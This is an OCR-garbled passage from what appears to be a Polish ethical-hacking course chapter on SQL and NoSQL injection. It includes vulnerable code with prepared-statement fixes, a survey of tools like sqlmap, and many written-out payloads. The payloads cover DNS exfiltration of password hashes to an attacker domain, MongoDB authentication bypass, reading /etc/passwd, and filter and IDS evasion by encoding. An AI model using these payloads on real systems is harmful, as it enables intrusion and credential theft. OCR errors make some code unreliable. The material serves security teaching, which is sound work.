Zadania DNS wysytane przez atakujacego moga byé¢ przekazywane przez serwer bazy danych do
dowolnego hosta. Mimo Zze zapora uniemozliwia serwerowi bazy danych wysytanie danych
bezposrednio do Internetu, moze zezwoli¢ zgdaniom DNS na przechodzenie przez wewnetrzny serwer
DNS, gdy zadania pochodzg z serwera. Atakujgcy osadzajg dane wyjsciowe ztosliwego zapytania SQL w
zadaniu DNS i przechwytujg odpowiedz DNS przestana przez serwer. Na przyktad osoba atakujgca moze
prébowad przeprowadzic eksfiltracje DNS za pomocg iniekcji SQL w nastepujgcy sposdb:

do_dns_lookup((select top 1 password from users) +
'.certifiedhacker.com’);

Osoba atakujgca uzywa instrukcji SELECT do uzyskania skrétu hasta, dodajgc nazwe domeny na koricu
instrukcji (np. Certifiedhacker.com). Nastepnie osoba atakujgca przeprowadza wyszukiwanie DNS w
poszukiwaniu sfabrykowanej nazwy hosta i uruchamia sniffer pakietow w celu przechwycenia
pakietéw z serwera nazw domeny docelowej i pobrania skrétu hasta z rekordu DNS.

appserver.example.com.5678 > ns.certifiedhacker.com.53 A?
0x4a6f686e.certifiedhacker.com

W powyizszej instrukcji cigg ,,0x4a6f686e” reprezentuje skrét hasta wyodrebniony przez atakujgcego za
pomocg instrukcji SELECT. Na przyktad, jesli atakujgcy skonfiguruje serwer DNS pod adresem
serwer_aplikacji.exampie.com, moze wyszukad adres DNS pod adresem
nazwa_hosta.serwer_aplikacji.exampie.com, aby jego serwer otrzymat zapytanie dotyczgce tego
hosta, umozliwiajgc mu /her, aby pobra¢ dane z zagdania DNS.

Ponizszy kod ilustruje eksfiltracje DNS przeprowadzong za pomocg iniekcji SQL na MS SQL Server:
DECLARE @hostname varchar(1024);

SELECT @hostname=(SELECT HOST_NAME())+'. appserver.example.com;
EXEC('master.dbo.xp_dirtree "\\'+@hostname+'\cS"");

MongoDB Injection/NoSQL Injection Attack

MongoDB korzysta z bazy danych NoSQL, ktéra jest podatna na rézne ataki iniekcyjne NoSQL. Aplikacje
internetowe korzystajace z bazy danych MongoDB mogg zawieraé¢ te luke w swoim kodzie
uwierzytelniajgcym, co umozliwia atakujgcym ominiecie procesu uwierzytelniania. Moze to
dodatkowo prowadzié do eksfiltracji danych i modyfikacji danych. Aplikacje tworzone przy uzyciu PHP,
JavaScript, Python i Java umozliwiajg atakujagcym wykonywanie polecen zarowno w bazie danych, jak
iw aplikacji. Atakujacy uzywajg operacji MongoDB, takich jak Seq (réwny), Sne (nie rowny), Sgt (wiekszy
niz), Sgte (wiekszy lub réwny) i [Sregex], aby stworzyé ztosliwe polecenie, ktdére omija procedura
uwierzytelniania. Rozwazmy na przyktad nastepujgcy kod PHP uzywany w aplikacji do uwierzytelniania
poswiadczen uzytkownika w MongoDB:

Suser_name =$_POST['username'];
Spwd =$_POST['password'];

Snew_conn = new MongoDB\Client('mongodb://localhost:27017');



if(Snew_conn) {

Smydb = Snew_conn->mytest;

Susers = Smydb->users;

Smyquery = array(

"user" => Suser_name,

"password" => Spwd

);

Smyreq = Susers->findOne(Smyquery);
>

Powyzszy kod pobiera nazwe uzytkownika i hasto z Zgdania POST, a nastepnie uwierzytelnia
uzytkownika. Atakujgcy uzywa nastepujgcego fadunku iniekcji NoSQL, ktéry moze dziata¢ jako
zapytanie w celu ominiecia uwierzytelniania MongoDB:

User_name[Seq]=admin&pwd[Sne]=admin
jesli to zapytanie jest wykonywane w bazie danych, atakujacy loguje sie jako administrator.
JavaScript Injection w bazie danych MongoDB

Rozwaz podatng na ataki aplikacje PHP korzystajgcg z bazy danych MongoDB, ktéra umozliwia operacje
zapytania Swhere. Osoba atakujgca tworzy ztosliwy kod JavaScript, ktéry moze wyswietlaé liste
uzytkownikéw z bazy danych i wprowadza jg do aplikacji. Na przyktad programista aplikacji uzywa
nastepujgcego kodu do wyszukania okreslonego uzytkownika za pomocg operacji zapytania Swhere:

Smyquery = array('Swhere' => 'this.username ===\ 1'.Susername.'\");

Powyzszy kod poréwnuje pole Sname z bazg danych. Atakujacy uzywaja pustego ciggu znakdw, aby
nakfoni¢ baze danych do wyswietlenia listy uzytkownikéw.

', return ' =="

Po wykonaniu powyzszego skryptu atakujacy uzyskuje liste uzytkownikéw. Jesli atakujacy uzyje
operacji while(true) zamiast Sname jako ciggu wejsciowego, moze wystapi¢ nieskorficzona petla, co
moze doprowadzié¢ do ataku DoS.

Studium przypadku: atak i obrona przed iniekcjg SQL

Wstrzykniecie SQL moze wystgpi¢, gdy aplikacja ma luke w zabezpieczeniach, ktéra moze pozwoli¢
atakujgcemu na przejecie kontroli nad bazg danych.

Przyktad 1: Zwracanie wiekszej ilosci danych niz oczekiwano

Atakujacy moga wykorzystaé wrazliwy kod do wstrzykniecia ztosliwego zapytania SQL i wymusié na
kodzie zwrdcenie wiekszej ilosci informacji niz oczekiwano. Wezmy na przyktad nastepujacy podatny
na ataki kod napisany w Javie, ktéry pobiera dane uzytkownika, takie jak numer konta i saldo, na
podstawie identyfikatora logowania:

String outBalanceQuery = "SELECT creditCardNo, outstandBal FROM



accounts WHERE account_holder_id ="+
request.getParameter("login_id");

try {

Statement stmt = connection.createStatement();

ResultSet rs = stmt.executeQuery(outBalanceQuery);

while (rs.nextQ ) {
page.addTableRow(rs.getInt("creditCardNo"),rs.getFloat("outstandBal"
);

}

} catch (SQLExceptione) {... }

Zatozmy na przyktad, ze uzytkownik o identyfikatorze logowania 768 zalogowat sie i odwiedzit adres
URL https://www.mybank.com/show_balances?login_id=768

Odpowiednie zapytanie SQL dla powyzszego zgdania bedzie
SELECT creditCardNo, outstandBal FROM accounts WHERE
account_holder_id=768

To zapytanie zwraca dane posiadacza karty kredytowej i wyswietla szczegdty na stronie internetowe;j.
Osoba atakujgca moze wykorzystac parametriogin_id do wstrzykniecia ztosliwych danych wejsciowych
W hastepujacy sposdb:

OOR1=1

Powoduje to nastepujace zapytanie SQL:

SELECT creditCardNo, outstandBal FROM accounts WHERE
account holder id =0 OR 1=1

Po wykonaniu powyzszego zapytania baza danych zwrdci wszystkie numery kart kredytowych i
odpowiadajgce im kwoty salda zadtuzenia oraz wyswietli wyniki na stronie internetowej.

Bezpieczny kod zapobiegajacy takim atakom:

Deweloperzy muszg uzywaé przygotowanych instrukcji do generowania sparametryzowanych zapytan
SQL w nastepujacy sposdb:

String outBalanceQuery = "SELECT creditCardNo, outstandBal FROM
accounts WHERE account_holder_id = ?";

try {

PreparedStatement stmt =
connection.preparsStatemsnt(outBalanceQuery);

stmt.setint(1, request.getParameter("login_id"));



ResultSet rs = stmt.executeQuery();

while (rs.nextQ) {
page.addTableRow(rs.getInt("creditCardNo"),rs.getFloat("outstandBal"
);

}

} catch (SQLExceptione) { ... }

Teraz, jesli atakujgcy sprobuje wykonaé¢ atak typu SQL injection przy uzyciu ztosliwych danych
wejsciowych, funkcja setlntj) zwrdci wyjatek typu niedozwolony argument, ktéry zapobiegnie takim
atakom.

Przyktad 2: Eskalacja uprawnien

Rozwazmy na przykfad nastepujacy kod napisany w Javie, aby zaimplementowaé strone logowania:
String myQuery = "SELECT userid, userName, pwdHash FROM userInfo

WHERE userName =" + request.getParameter("userName") + " ' "

int userid =-1;

HashMap userGroup — new HashMap();

try {

Satement stmt = connection.createStatement();

ResultSet rs = stmt.executeQuery(myQuery);

rs.first();

userid = rs.getInt("userid");

if(!
hashOf(request.getParameter("pwd")).equals(rs.getString("pwdHash")))
{

throw BadLoginException();

)

String userQuery = "SELECT userGroup FROM userMembership WHERE
userid =" + userid;

rs — stmt.executeQuery(userQuery);

while (rs.nextQ) {

userGroup.put(rs.getString("userGroup"), true);

)

>



catch (SQLExceptione) {... }

catch (BadlLoginExceptione) { ... }

When a user opens the above login page and enters his/her name (e.g., Bob) and
password, the first query takes the following form:

SELECT userID, userName, pwdHash FROM userinfo WHERE username =

'‘Bob'

Gdy uzytkownik otworzy powyzszg strone logowania i wprowadzi swoje imie (np. Bob) oraz hasto,
pierwsze zapytanie przybiera nastepujgca postac:

SELECT userlD, userName, pwdHash FROM userInfo WHERE username = 'Bob'

Po wykonaniu powyzszego zapytania baza danych pobiera identyfikator uzytkownika i hasto Boba,
nastepnie poréwnuje skrot hasta z hastem podanym przez uzytkownika, a na koniec pobiera wszystkie
informacje o grupie, do ktérej nalezy Bob. Zatézmy na przyktad, ze Bob jest atakujgcym i prébuje
przekazaé swoje uprawnienia administratorowi. Nastepnie wpisatby nastepujgce dane w polu nazwy
uzytkownika na stronie logowania:

Bob'; INSERT INTO userMembership (userid, userGroup) VALUES (SELECT userid FROM users WHERE
userName='Bob', 'Administrator'); --

Wynikowe zapytanie przekazane do bazy danych wyglada nastepujaco:

SELECT userid, userName, pwdHash FROM userinfo WHERE userName = 'Bob'; INSERT INTO
userMembership (userid, userGroup) VALUES (SELECT userid FROM users WHERE userName='Bob/',
'Administrator'); -

W powyzszej instrukcji SQL znak pojedynczego cudzystowu na wejsciu prowadzi do interpretacji catego
wejscia jako czesci instrukcji SQL, a po jego wykonaniu eskaluje uprawnienia Boba do administratora.

Bezpieczny kod zapobiegajacy takim atakom:

Deweloperzy muszg uzywac przygotowanych instrukcji do generowania sparametryzowanych zapytan
SQL w nastepujgcy sposdb:

String myQuery = "SELECT userid, userName, pwdHash FROM userinfo
WHERE userName = ?";

try {

PreparedSatement stmt = connection.prepareStatement(myQuery);
stmt.setstring(1, request.getParameter("userName"));

ResultSet rs = stmt.executeQuery();

Powyzsze zapytanie jest oczyszczane przy uzyciu przygotowanej instrukcji; w zwigzku z tym, gdy
uzytkownik sprébuje wykona¢ atak typu SQL injection, zapytanie nie zwrdci zadnych wynikow.

Narzedzia do wstrzykiwania SQL



W poprzedniej sekcji omowiono techniki ataku typu SQL injection, ktorych osoba atakujgca moze uzy¢
do wykorzystania aplikacji sieci Web. Atakujgcy uzywa narzedzi do wstrzykiwania SQL, aby szybko i
skutecznie wdrozyc te techniki na kazdym etapie ataku. Za pomoca tych narzedzi osoba atakujgca moze
réwniez wyliczy¢ uzytkownikéw, bazy danych, role, kolumny, tabele itp. W tej sekcji opisano narzedzia
do wstrzykiwania kodu SQL.

sglmap

Jako narzedzie do testowania penetracji typu open source, sqlmap automatyzuje proces wykrywania i
wykorzystywania luk wstrzykiwanych SQL oraz przejmowania serwerdw baz danych. Jest wyposazony
w potezny silnik wykrywania, wiele niszowych funkcji dla zaawansowanych testeréw penetracji oraz
szerokg game przetgcznikéw do pobierania odciskow palcéw bazy danych, pobierania danych z bazy
danych, uzyskiwania dostepu do bazowego systemu plikdw i wykonywania poleced w systemie
operacyjnym za posrednictwem potgczenia poza pasmem znajomosci. Atakujgcy mogg uzywacd sqlmap
do wykonywania iniekcji SQL na docelowej stronie internetowej za pomoca réznych technik, takich jak
Slepe oparte na wartosciach boolowskich, Slepe oparte na czasie, oparte na btedach, oparte na
zapytaniach UNION, zapytania skumulowane i wstrzykiwanie poza pasmem. Niektore funkcje sqlmap
sg nastepujace:

Petna obstuga szesciu technik wstrzykiwania SQL: $lepe oparte na wartosciach boolowskich, Slepe
oparte na czasie, oparte na btedach, oparte na zapytaniach UNION, zapytania skumulowane i
wstrzykiwanie poza pasmem

Obstuga bezposredniego taczenia sie z bazg danych bez przechodzenia przez iniekcje SQL, poprzez
podanie poswiadczen DBMS, adresu IP oraz nazwy portu i bazy danych

Obstuga wyliczania uzytkownikéw, skrotéw haset, uprawnien, rél, baz danych, tabel i kolumn

Automatyczne rozpoznawanie formatéw skrotdw haset i obstuga tamania ich za pomocg ataku
stownikowego

Obstuga catkowitego zrzutu tabel bazy danych; zakres wpisdw lub okreslonych kolumn wedtug wyboru
uzytkownika

Obstuga wyszukiwania okreslonych nazw baz danych, okreslonych tabel we wszystkich bazach danych
lub okreslonych kolumn we wszystkich tabelach baz danych

Obstuga ustanawiania stanowego potaczenia TCP poza pasmem miedzy maszyng atakujgcg a serwerem
bazy danych bedgcym podstawg systemu operacyjnego

Mole

Mole to automatyczne narzedzie do wykorzystywania iniekcji SQL. Tylko podajgc podatny na ataki
adres URL i prawidtowy cigg znakdw w witrynie, moze wykry¢ wstrzykniecie i wykorzystac je przy uzyciu
techniki tgczenia lub techniki opartej na zapytaniach boolowskich. Mole wykorzystuje interfejs oparty
na poleceniach, dzieki czemu uzytkownik moze tatwo wskazac akcje, ktorg chce wykonaé. CLI zapewnia
rowniez automatyczne uzupetnianie zarowno polecen, jak i argumentéw polecer, minimalizujac
potrzebe wpisywania przez uzytkownika. Niektére funkcje Mole sg nastepujace:

o Obstuguje MySQL, Postgres, SQL Server i Oracle
o Automatyczna eksploatacja iniekcji SQL przy uzyciu techniki tgczenia

o Eksploatacja automatycznego slepego wstrzykiwania kodu SQL



o Wykorzystuje iniekcje SQL w parametrach GET/POST/Cookie

o Obstuguje filtry w celu ominiecia niektdrych regut IPS/IDS za pomocy filtréw ogdlnych, a takze
umozliwia fatwe tworzenie nowych

o Wykorzystuje iniekcje SQL, ktére zwracajg dane binarne

Atakujacy wykorzystujg Mole do wykonywania wstrzyknie¢ SQL przy uzyciu technik takich jak tgczenie
i Slepa eksploatacja SQL.

Blisqy

Blisqy wykorzystuje $lepg iniekcje SQL opartg na czasie w nagtdwkach HTTP (MySQL/MariaDB). To
narzedzie pomaga badaczom zajmujacym sie bezpieczeristwem sieciowym w wyszukiwaniu opartych
na czasie $lepych wstrzyknie¢ SQL w nagtéwkach http, a takze w wykorzystywaniu tej samej luki w
zabezpieczeniach. Obstuguje réwniez fuzzing dla opartego na czasie Slepego wstrzykiwania SQL w
nagtéwkach HTTP. Atakujgcy uzywajg Blisqy do znalezienia potencjalnego slepego wstrzykniecia SQL
opartego na czasie, a nastepnie przygotowujg skrypt do wykorzystania podatnej na ataki aplikacji
internetowej.

Ponizej wymieniono niektére dodatkowe narzedzia do wstrzykiwania kodu SQL:
blind-sqgl-bitshifting (https://github.com)

NoSQLMap (https://github.com)

SQL Power Injector (http://www.sglpowerinjector.com)

Tyrant SQL (https://sourceforge.net)

SQL Brute (https://www.gdssecurity.com)

sqlmapchik

sqlmapchik to wieloplatformowy graficzny interfejs uzytkownika sqlmap dla narzedzia sqlmap. Jest
przeznaczony gtéwnie do uzytku na urzadzeniach mobilnych.

Ponizej wymieniono niektore dodatkowe mobilne narzedzia do wstrzykiwania kodu SQL:
DH HackBar (https://github.com)

AndroHackbar (https://github.com)

Techniki unikania

Zapory ogniowe i systemy wykrywania wtaman (IDS) mogg wykrywac¢ préby wstrzykiwania kodu SQL
na podstawie predefiniowanych podpisdw. Nawet jesli sieci obejmuja te granice bezpieczerstwa sieci,
atakujacy bedag uzywac technik unikania, aby wykonac iniekcje SQL bez wykrycia. Takie techniki
obejmujg kodowanie szesnastkowe, manipulowanie biatymi znakami, komentarze w wierszu,
wyrafinowane dopasowania, kodowanie znakéw i tak dalej. W tej sekcji szczegétowo omowimy te
techniki.

Unikanie IDS

IDS jest umieszczany w sieci w celu wykrywania ztosliwych dziatan. Zwykle opiera sie na sygnaturze lub
modelu anomalii. Aby wykry¢ iniekcje SQL, czujnik IDS jest umieszczany na serwerze bazy danych w
celu sprawdzenia instrukcji SQL. Atakujgcy wykorzystujg techniki unikania IDS do ukrywania ciggéw



wejsciowych, aby unikng¢ wykrycia przez systemy wykrywania oparte na sygnaturach. Sygnatura jest
wyrazeniem regularnym opisujgcym wzorzec ciggu uzywany w znanym ataku. W systemie wykrywania
wtaman opartym na sygnaturach system musi wiedzie¢ o ataku, aby go wykry¢. System tworzy baze
danych sygnatur atakéw, a nastepnie analizuje ciggi wejSciowe w bazie danych sygnatur w czasie
wykonywania, aby wykry¢ atak. Jesli jakiekolwiek podane informacje pasujg do sygnatur atakdow
znajdujacych sie w bazie danych, system IDS uruchamia alarm. Ten typ problemu wystepuje czesciej w
systemach IDS opartych na sieci (NIDS) i NIDS opartych na sygnaturach. Dlatego osoby atakujgce
powinny by¢ bardzo ostrozne i prébowac zaatakowaé system z pominieciem IDS opartego na
sygnaturach. Techniki unikania sygnatur obejmujg stosowanie rdéinych technik kodowania,
fragmentacje danych wejsciowych pakietéw, zmiane wyrazenia na wyrazenie rOwnowazne, uzywanie
biatych znakéw i tak dalej.

Rodzaje technik uchylania sie od podpiséw
Ponizej wymieniono rdézne rodzaje technik unikania podpisu:

Komentarz w wierszu: Ukrywa ciagi znakéw wejsciowych, wstawiajgc komentarze w wierszu miedzy
stowami kluczowymi SQL.

Kodowanie znakéw: Uzywa wbudowanej funkcji CHAR do reprezentowania znaku.

Konkatenacja ciggdw znakdéw: taczy tekst w celu utworzenia stowa kluczowego SQL przy uzyciu
instrukcji specyficznych dla bazy danych.

Zaciemniony kod: Zaciemniony kod to instrukcja SQL, ktérej zrozumienie stato sie trudne.

Manipulowanie biatymi spacjami: Zastania ciggi znakéw wejsciowych, wstawiajac biate spacje miedzy
stowami kluczowymi SQL.

Kodowanie szesnastkowe: Uzywa kodowania szesnastkowego do reprezentowania ciggu zapytania
saL.

Zaawansowane dopasowania: Uzywa alternatywnego wyrazenia ,OR1=1".

Kodowanie adresu URL: Zastania cigg wejsciowy, dodajac znak procentu (%) przed kazdym punktem
kodu.

Bajt zerowy: Uzywa znaku bajtu zerowego (%00) przed ciggiem, aby oming¢ mechanizm wykrywania.
Odmiana wielkosci liter: Zaciemnia instrukcje SQL, mieszajac jg z duzymi i matymi literami.

Deklaruj zmienne: uzywa zmiennych do przekazywania serii specjalnie spreparowanych instrukcji SQL
i omijania mechanizmu wykrywania.

Fragmentacja IP: Wykorzystuje fragmenty pakietéw, aby ukryé fadunek ataku, ktdry pozostaje
niewykryty przez mechanizm podpisu.

Odmiany: uzywa instrukcji WHERE, ktéra jest zawsze oceniana jako ,,prawdziwa”, dzieki czemu mozna
uzy¢ dowolnego poréwnania matematycznego lub ciggu znakéw.

Technika unikania: komentarz w linii

Technika unikania jest skuteczna, gdy podpis filtruje biate znaki w ciggach wejsciowych. W tej technice
osoba atakujgca zaciemnia cigg wejsciowy za pomocg komentarzy wbudowanych. Komentarze
wbudowane tworzg instrukcje SQL, ktére sg niepoprawne pod wzgledem sktadni, ale poprawne i
dlatego mogg omingé rdzne filtry wejSciowe. Komentarze wbudowane umozliwiajg atakujgcemu



pisanie instrukcji SQL bez spacji. Na przyktad /* ... */ jest uzywany w jezyku SQL do rozdzielania
komentarzy wielowierszowych

'/**/UNION/**/SELECT/**/password/**/FROM/** /Users/** /WHERE/** /username/**/
LIKE/**/'admin'—

W stowach kluczowych SQL mozna uzywac komentarzy wbudowanych
"[*¥*JUN/**/ION/** /SEL/**/ECT/**/password/**/FR/**/OM/** [Users/** /WHE/**/RE
/**/ username/**/LIKE/**/'admin'--

Technika unikania: kodowanie znakéw

Za pomocg funkcji char() osoba atakujgca moze zakodowac¢ wspdlng zmienng iniekcji obecng w ciggu
wejsciowym, aby unikngé wykrycia w sygnaturze srodkéw bezpieczenstwa sieci. Ta funkcja char()
konwertuje wartosci szesnastkowe i dziesietne na znaki, ktdore mogg tatwo przejs¢ przez analize
sktadniowg silnika SQL. Funkcja charf ) moze by¢ uzywana do wstrzykiwania SQL do MySQL bez
podwadjnych cudzystowdw.

Na przyktad:

Zataduj pliki w uniach (string = "/etc/passwd")

"union select 1,
(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Wstrzyknij bez cudzystowow (string = "%")

" or username like char(37);

Wstrzyknij bez cudzystowow (string = ,,root”)

"union select * from users where login = char(114,111,111,116);
Sprawdyz istniejgce pliki (string = "n.ext")

"and 1=(if(

(load file(char(110,46,101,120,116))Ochar(39,39)),1,0));
Technika unikania: fgczenie ciggéw

Ta technika dzieli pojedynczy faricuch na kilka czesci i faczy je na poziomie SQL. Silnik SQL nastepnie
buduje pojedynczy ciag z tych elementéw. W ten sposdb atakujgcy uzywa konkatenacji do ztamania
identyfikowalnych stéw kluczowych w celu unikniecia systeméw wykrywania wtaman. Skfadnia
konkatenacji moze sie rézni¢ w zaleznosci od bazy danych. Weryfikacja podpisu na takim potgczonym
tancuchu jest bezuzyteczna, poniewaz podpisy poréwnuja tylko ciggi po obu stronach znaku =. Prosty
cigg mozna podzieli¢ na dwie czesci, a nastepnie pofaczyc ze znakiem ,+” w bazie danych serwera SQL
(w Oracle znak ,,| |” stuzy do tgczenia dwdch ciggdw). Na przyktad ,,OR ' Simple ' ='Sim'+'ple' ”. Podziel
instrukcje, aby unikng¢ wykrycia podpisu za pomoca polecen wykonania, ktére umozliwiajg taczenie
tekstu na serwerze bazy danych.

Oracle: ‘; EXECUTE IMMEDIATE 'SEL' || '"ECTUS" || "ER *

MssQL:'; EXEC('DRO'+'PT'+'AB'+'LE"))



Utworz instrukcje SQL, taczac tarcuchy zamiast sparametryzowanego zapytania.

MySQL: '; EXECUTE CONCAT ('INSE"','RTus',"ER")

Technika unikania: zaciemniony kod

Istniejg dwa sposoby zaciemnienia ztosliwego zapytania SQL, aby unikng¢ wykrycia przez IDS.

Zawijanie: osoba atakujgca uzywa narzedzia zawijania w celu zaciemnienia ztosliwego zapytania SQL,
a nastepnie wysyta je do bazy danych. Podpis IDS nie wykryje takiego zaciemnionego zapytania i
pozwoli mu przejsé, poniewaz nie pasuje do podpisu IDS.

Zaciemnianie ciggdw SQL: W metodzie zaciemniania ciggédw SQL ciggi SQL sg zaciemniane przy uzyciu
taczenia ciggéw SQL, szyfrowania lub mieszania ciggdw, a nastepnie odszyfrowywania ich w czasie
wykonywania. Ciggi zaciemnione takimi technikami nie sg wykrywane w sygnaturach IDS, co pozwala
atakujgcemu na ominiecie sygnatur.

Niektére przyktady zaciemnionego kodu dla ciggu ,,qwerty” sg nastepujgce:
Reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid(
'TEST',2,1)),replace(0x7074, 'pt','w'), char(instr(123321,33)+110)))
Concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),
unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),
char(pow(11,2)))

Ponizej znajduje sie przyktad pomijania podpiséw (zaciemniony kod zgdania):
Nastepujgce zgdanie odpowiada podpisowi wniosku:
/?id=1+union+(select+1,2+from+test.users)

Podpisy mozna omingé¢, modyfikujac powyzsze zgdanie:
/?id=(1)union(select(1),mid(hash,1,32)from(test.users))
/?id=1+union+(sELect'1',concat(login,hash)from+test.users)
/?id=(1)union(((((((select(1),hex(hash)from(test.users))))))))

Technika unikania: Manipulowanie biatymi przestrzeniami

Wiele nowoczesnych silnikéw wykrywania iniekcji SQL opartych na sygnaturach jest w stanie wykrywacé
ataki zwigzane ze zmianami liczby i kodowania biatych znakéw wokét ztosliwego kodu SQL. Te silniki
detekcji nie wykrywajg tego samego rodzaju tekstu bez spacji. Technika manipulacji biatymi znakami
zaciemnia tancuchy wejsciowe, usuwajac lub dodajac biate znaki miedzy stowami kluczowymi SQL a
tancuchami lub literatami liczbowymi bez zmiany wykonywania instrukcji SQL. Dodanie spacji za
pomocy znakdw specjalnych, takich jak tabulator, znak powrotu karetki lub wysuniecie wiersza,
sprawia, ze instrukcja SQL jest catkowicie niemozliwa do wysledzenia bez zmiany wykonania instrukgcji

Podpis ,,UNION SELECT” rézni sie od podpisu ,UNION  SELECT”.
Usuniecie spacji z instrukcji SQL nie wptynie na ich wykonanie przez niektére bazy danych SQL

"OR'1'='1"' (bez spacji)



Technika unikania: kodowanie szesnastkowe

Kodowanie szesnastkowe to technika unikania, ktéra wykorzystuje kodowanie szesnastkowe do
przedstawienia ciggu znakow. Atakujgcy uzywajg kodowania szesnastkowego do zaciemnienia
zapytania SQL, tak aby nie zostato wykryte w sygnaturach srodkéw bezpieczeistwa, poniewaz
wiekszos¢ IDS nie rozpoznaje kodowania szesnastkowego. Atakujgcy wykorzystujg takie IDS, aby
oming¢ ich spreparowane dane wejsciowe w postaci iniekcji SQL. Kodowanie szesnastkowe zapewnia
atakujgcym niezliczone sposoby zaciemniania kazdego adresu URL. Na przyktad cigg ,, SELECT” moze
by¢ reprezentowany przez liczbe szesnastkowg 0x73656c656374, ktdra najprawdopodobniej nie
zostanie wykryta przez mechanizm ochrony podpiséw.

; declare @x varchar(80);

set @x = X73656¢c656374

20404076657273696f6e;

EXEC (@x)

Uwaga: ta instrukcja nie zawiera pojedynczych cudzystowdéw (')

Niektére przyktady ciggdw na szesnastkowe sg nastepujace:

SELECT @(Aversion = 0x73656c656374204 04076657273696f6

DROP Table CreditCard = 0x44524f50205461626c652043726564697443617264
INSERT into USERS ('certifiedhacker', 'qwerty') = 0x494e5345525420696e74
6f2055534552532028274a7 5676779426f79272¢c202771 77657274792729
Technika unikania: Wyrafinowane mecze

Dopasowania sygnatur zwykle udaje sie uchwyci¢ najczestsze dopasowania klasyczne, takie jak ,OR

1=1". Te podpisy sq zbudowane przy uzyciu wyrazen regularnych, dlatego starajg sie ztapaé jak
najwiecej mozliwych wariacji klasycznych dopasowan ,OR 1=1". Jednak s3g takie wyrafinowane
dopasowania, ktorych osoba atakujgca moze uzyé do obejscia podpisu. Te wyrafinowane dopasowania
sg odpowiednikami klasycznych dopasowan, ale z niewielkg zmiang. Atakujacy uzywajg tych
wyrafinowanych dopasowan jako techniki unikania, aby oszuka¢ i omingé uwierzytelnianie
uzytkownika. Te wyrafinowane mecze sg alternatywnym wyrazem klasyki dopasuj ,OR 1=1".

Osoba atakujgca moze uzyé ataku ,,OR 1=1", ktéry wykorzystuje cigg znakdw, taki jak ,,OR ' john '=1
john'." Zastgpienie tego taricucha innym tanicuchem da ten sam efekt. Jesli to nie zadziata, atakujgcy
oszukuje system, dodajac V do drugiego ciggu, np. "OR 'john'=N'john'"” Ta metoda jest bardzo
uzyteczna w unikaniu podpiséw, zwtaszcza w zaawansowanych systemach

Rdézne znaki iniekcji SQL sg nastepujgce:
"lub “ wskaznikéw ciggdéw znakdéw
-- lub # komentarz jednowierszowy
/ *...*/ komentarz wielowierszowy

+ dodawanie, konkatenacja (lub spacja w adresie URL)



| | (podwdjny potok) konkatenowanie

% wskaznik atrybutu wieloznacznego
?Paraml=foo&Param2=pasek Parametry adresu URL
,» PRINT przydatne jako polecenie nietransakcyjne
@variable zmienna lokalna

@ @variable zmienna globalna

waitfor delay '0:0:10 ' opdznienie czasowe
Przyktady obejscia podpisu ‘ OR 1=1:

OR ‘john' ="'john'

" OR 'microsoft' = 'micro '+'soft’

OR 'movies' = N'movies'

' OR 'software' like 'soft%'

'OR7>1

"OR 'best' > 'b'

' OR 'whatever' IN (‘whatever')

"OR 5 BETWEEN 1 AND 7

Technika unikania: kodowanie adreséw URL

Kodowanie adresdw URL to technika uzywana do ominiecia wielu filtréw wejsciowych i zaciemnienia
zapytania SQL do przeprowadzania atakéw iniekcyjnych. Odbywa sie to poprzez zastgpienie znakéw
ich kodami ASCII w postaci szesnastkowej i poprzedzenie kazdego punktu kodowego znakiem procentu
(%). Na przyktad dla pojedynczego cudzystowu kod ASCII to 0X27; stad jego kodowanie adreséw URL
znak jest reprezentowany przez %27. Osoba atakujgca moze przeprowadzi¢ atak, omijajac filtr w
nastepujacy sposdb:

Normalne zapytanie

"UNION SELECT Password FROM Users_Data WHERE name='Admin'--

Po zakodowaniu adresu URL powyzsze zapytanie jest reprezentowane jako:
%27%20UNION%20SELECT%20Password%20FROM%20Users_Data%20WHERE%20name%3
D%27Admin%27%E2%80%94

W niektoérych przypadkach podstawowe kodowanie adresu URL nie dziata; jednak osoba atakujaca
moze uzy¢ podwdjnego kodowania adresu URL, aby omingc filtr. Cigg uzyskany z kodowania adresu
URL pojedynczego cudzystowu to %27; po podwéjnym kodowaniu adresu URL, ten sam ciagg staje sie
%2527 (tutaj% to sam adres URL zakodowany w normalny sposéb jako %25).

Na przyktad,

Normalne zapytanie



"UNION SELECT Password FROM Users Data WHERE name="'Admin '--
Po zakodowaniu adresu URL powyzsze zapytanie jest reprezentowane jako

%27%20UNION%20SELECT%20Password%20FROM%20Users_Data%20WHERE%20name%3D%27Ad
mMin%27%E2%80%94

Po podwdéjnym zakodowaniu adresu URL powyzsze zapytanie jest reprezentowane jako

%2527%2520UNION%2520SELECT%2520Password%2520FROM%2520Users_Data%2520WHERE%25
20name%253D%2527Admin%2527%25E2%2580%2594

Technika unikania: bajt zerowy

Osoba atakujgca uzywa znaku bajtu null (%00) przed ciggiem, aby oming¢ mechanizm wykrywania.
Aplikacje internetowe uzywaja jezykdw wysokiego poziomu, takich jak PHP, ASP i tak dalej z funkcjami
C/C++. Jednak w C/C++ znaki NULL sg uzywane do konczenia taricuchéw. Dlatego, rézne podejscia do
obu platform kodowania skutkujg atakiem wstrzykiwania bajtéw NULL. Na przyktad nastepujgce
zapytanie SQL jest uzywane przez osobe atakujgcg do wyodrebnienia hasta z pliku bazya danych:

"UNION SELECT Password FROM Users WHERE UserName='admin'—

Jesli serwer jest chroniony przez WAF lub IDS, atakujgcy dodaje bajty NULL do powyzszego zapytana w
nastepujacy sposdb:

%00' UNION SELECT Password FROM Users WHERE UserName='admin'—

Korzystajgc z powyzszego zapytania, atakujgcy moze z powodzeniem oming¢ IDS i uzyskaé hasto konta
administratora.

Technika unikania: odmiana przypadku

Domyslnie w wiekszosci serwerdw baz danych SQL nie rozréznia wielkosci liter. Ze wzgledu na
rozrdznianie wielkosci liter opcji sygnatur wyrazen regularnych w filtrach, atakujagcy moga mieszac
wielkie i mate litery ,liter w wektorze ataku, aby omingé mechanizm wykrywania. Zatézmy na przyktad,
ze filtr jest przeznaczony do wykrywania nastepujgcych zapytan:

union select user_id, password from admin where user_name='admin’'--

UNION SELECT USERJED, PASSWORD FROM ADMIN WHERE USER_NAME='ADMIN'--
Nastepnie osoba atakujgca moze tatwo oming¢ filtr za pomocga nastepujgcego zapytania:
